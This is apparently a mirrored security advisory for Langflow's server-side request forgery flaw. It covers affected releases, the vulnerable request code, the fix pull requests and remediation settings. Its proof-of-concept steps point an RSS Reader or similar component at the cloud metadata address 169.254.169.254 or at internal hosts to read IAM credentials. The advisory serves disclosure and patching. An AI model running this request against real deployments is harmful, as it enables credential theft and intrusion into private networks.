| Release | Change | |---|---| | < 1.7.0 | No SSRF guard. All URL-taking components make unrestricted requests. | | 1.7.0 – 1.9.2 | Guard exists, but ssrf_protection_enabled=False by default and API Request uses warn_only=True. | | 1.9.3 | #13016: protection on by default, API Request blocks (DNS pinning / anti-rebinding). Other components still unprotected. | | 1.10.1 | #13395 (RSS Reader, SearXNG) and #13643 (Home Assistant, Glean, plus model-provider URL components) route requests through SSRF-safe helpers. | | 1.10.3 | #14033 (Docling Serve) and #14071 (Web Search result/RSS fetching). All components cited in this report are protected. |

Details

Vulnerable pattern (for example rss.py before #13395):

response = requests.get(self.rss_url, timeout=self.timeout)

API Request before #13016:

# TODO: In next major version (2.0), remove warn_only=True to enforce blocking validate_url_for_ssrf(url, warn_only=True)

with ssrf_protection_enabled: bool = False in the settings.

Clarifications on the original report. Some sinks in the report are not exploitable SSRF:

web_search.py: the DuckDuckGo search request and the Google News RSS request, and news_search.py:131. The host is hard-coded (html.duckduckgo.com / news.google.com) and user input only goes into quote_plus-encoded path and query segments, so the destination cannot be redirected. The real Web Search sink was fetching the result URLs, which is fixed in #14071.

langflow/load/utils.py get_flow(): this is a client-side SDK helper (from langflow.load import get_flow) that the caller runs against their own Langflow URL. No API route calls it, so it is not a backend SSRF endpoint.

PoC (vulnerable versions)

Log in as any user who can create flows.

Add an RSS Reader (or SearXNG / Home Assistant / Glean / Docling Serve) component and set its URL to http://169.254.169.254/latest/meta-data/ (or an internal host such as http://10.0.0.1/).

Run the component. The Langflow server issues the request, and the response or error is shown in the component output.

On patched versions the same run fails with SSRFProtectionError: Access to IP address 169.254.169.254 is blocked by SSRF protection.

Impact

Access to cloud instance metadata (IAM credentials / tokens) on AWS, GCP and Azure deployments.

Probing and interaction with internal services and private networks reachable from the Langflow host.

Requires an authenticated account with permission to build or run flows. Deployments where every user is already fully trusted are less affected.

Fix

#13016: sets ssrf_protection_enabled = True by default, changes warn_only to default False, drops warn_only=True from API Request, and adds validate_and_resolve_url() plus SSRFProtectedTransport (DNS pinning).

- ssrf_protection_enabled: bool = False + ssrf_protection_enabled: bool = True

#13395: adds lfx.utils.ssrf_requests.ssrf_safe_get (per-hop validation and pinning for requests) and uses it in RSS Reader and SearXNG.

- response = requests.get(self.rss_url, timeout=self.timeout) + response = ssrf_safe_get(self.rss_url, timeout=self.timeout)

#13643: adds lfx.utils.ssrf_httpx (ssrf_safe_httpx_get/post, protected client kwargs) and applies it to Home Assistant, Glean and the model-provider base-URL components.

#14033: Docling Serve builds its httpx.Client with ssrf_protected_httpx_client_kwargs_for_url(base_url).

#14071 (release-1.10.3) / #14073 (forward-port to 1.11.0): Web Search validates and pins each result URL before fetching it, with redirects disabled.

Note: connector-style components (for example Home Assistant, Ollama, LM Studio) keep a documented loopback exemption (#14146), so a self-hosted user can reach a local service on localhost. Private-network and metadata addresses stay blocked. Operators can tighten or relax this with LANGFLOW_SSRF_ALLOWED_HOSTS and LANGFLOW_CONNECTOR_SSRF_VALIDATION_ENABLED.

Remediation

Upgrade to langflow >= 1.10.3 (or langflow-base >= 0.10.3 / lfx >= 1.10.3 / lfx-docling >= 0.1.2).

Do not set LANGFLOW_SSRF_PROTECTION_ENABLED=false. If you need to reach internal hosts on purpose, allowlist only those hosts with LANGFLOW_SSRF_ALLOWED_HOSTS.

On versions that cannot be upgraded right away, restrict outbound network access from the Langflow host (for example, block 169.254.169.254 and use IMDSv2 on AWS).

Affected versions

0.0.310.0.320.0.330.0.400.0.440.0.450.0.460.0.520.0.530.0.540.0.550.0.56

+ 298 more Show less

0.0.570.0.580.0.610.0.620.0.630.0.640.0.650.0.660.0.670.0.680.0.690.0.700.0.710.0.720.0.730.0.740.0.750.0.760.0.780.0.790.0.800.0.810.0.830.0.840.0.850.0.860.0.870.0.880.0.890.1.00.1.20.1.30.1.40.1.50.1.60.1.70.2.00.2.10.2.100.2.110.2.120.2.130.2.20.2.30.2.40.2.50.2.60.2.70.2.80.2.90.3.00.3.10.3.20.3.30.3.40.4.00.4.10.4.100.4.110.4.120.4.140.4.150.4.160.4.170.4.180.4.190.4.20.4.200.4.210.4.30.4.40.4.50.4.60.4.70.4.80.4.90.5.00.5.0a00.5.0a10.5.0a20.5.0a30.5.0a40.5.0a50.5.0a60.5.0b00.5.0b20.5.0b30.5.0b40.5.0b50.5.0b60.5.10.5.100.5.110.5.120.5.20.5.30.5.40.5.50.5.60.5.70.5.80.5.90.6.00.6.0rc10.6.10.6.100.6.110.6.120.6.140.6.150.6.160.6.170.6.180.6.190.6.20.6.30.6.3a00.6.3a10.6.3a20.6.3a30.6.3a40.6.3a50.6.3a60.6.3a70.6.40.6.4a00.6.4a10.6.50.6.5a00.6.5a10.6.5a100.6.5a110.6.5a120.6.5a130.6.5a20.6.5a30.6.5a40.6.5a50.6.5a60.6.5a70.6.5a80.6.5a90.6.60.6.70.6.7a10.6.7a20.6.7a30.6.7a50.6.80.6.91.0.01.0.0a01.0.0a11.0.0a101.0.0a111.0.0a121.0.0a131.0.0a141.0.0a151.0.0a171.0.0a181.0.0a191.0.0a21.0.0a201.0.0a211.0.0a221.0.0a231.0.0a241.0.0a251.0.0a261.0.0a271.0.0a281.0.0a291.0.0a31.0.0a301.0.0a311.0.0a321.0.0a331.0.0a341.0.0a351.0.0a361.0.0a371.0.0a381.0.0a391.0.0a41.0.0a401.0.0a411.0.0a421.0.0a431.0.0a441.0.0a451.0.0a461.0.0a471.0.0a481.0.0a491.0.0a51.0.0a501.0.0a511.0.0a521.0.0a531.0.0a551.0.0a561.0.0a571.0.0a581.0.0a591.0.0a61.0.0a601.0.0a611.0.0a71.0.0a81.0.0a91.0.0rc01.0.0rc11.0.11.0.101.0.111.0.121.0.131.0.141.0.151.0.161.0.171.0.181.0.191.0.19.post11.0.19.post21.0.21.0.31.0.41.0.51.0.61.0.71.0.81.0.91.1.01.1.11.1.21.1.31.1.41.1.4.post11.10.01.10.0rc01.10.11.10.1rc01.10.1rc31.10.21.10.2rc41.10.3rc01.2.01.3.01.3.11.3.21.3.31.3.41.4.01.4.11.4.21.4.31.5.01.5.0.post11.5.0.post21.5.11.6.01.6.11.6.21.6.31.6.41.6.51.6.61.6.71.6.81.6.91.7.01.7.11.7.21.7.31.8.01.8.0rc01.8.0rc11.8.0rc21.8.0rc31.8.0rc41.8.0rc51.8.0rc61.8.11.8.21.8.31.8.3rc01.8.41.9.01.9.11.9.21.9.31.9.3rc01.9.41.9.51.9.61.9.6rc0

Fixed in

1.10.3

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-j8f7-x8jm-wmm4
https://github.com/langflow-ai/langflow/pull/13016
https://github.com/langflow-ai/langflow/pull/13395
https://github.com/langflow-ai/langflow/pull/13643
https://github.com/langflow-ai/langflow/pull/14033
https://github.com/langflow-ai/langflow/pull/14071

Updated Oct 06, 2026 · Source: OSV.dev

1–10 of 43

Insights

Releases per month

last 12 months

Release mix

major 1
minor 19
patch 183
pre 315

519 releases

Dependencies over time

per release

Release calendar

2026

Jan

Feb

Mar

Apr

May

Jun

Jul

Aug

Sep

Oct

Nov

Dec

Less More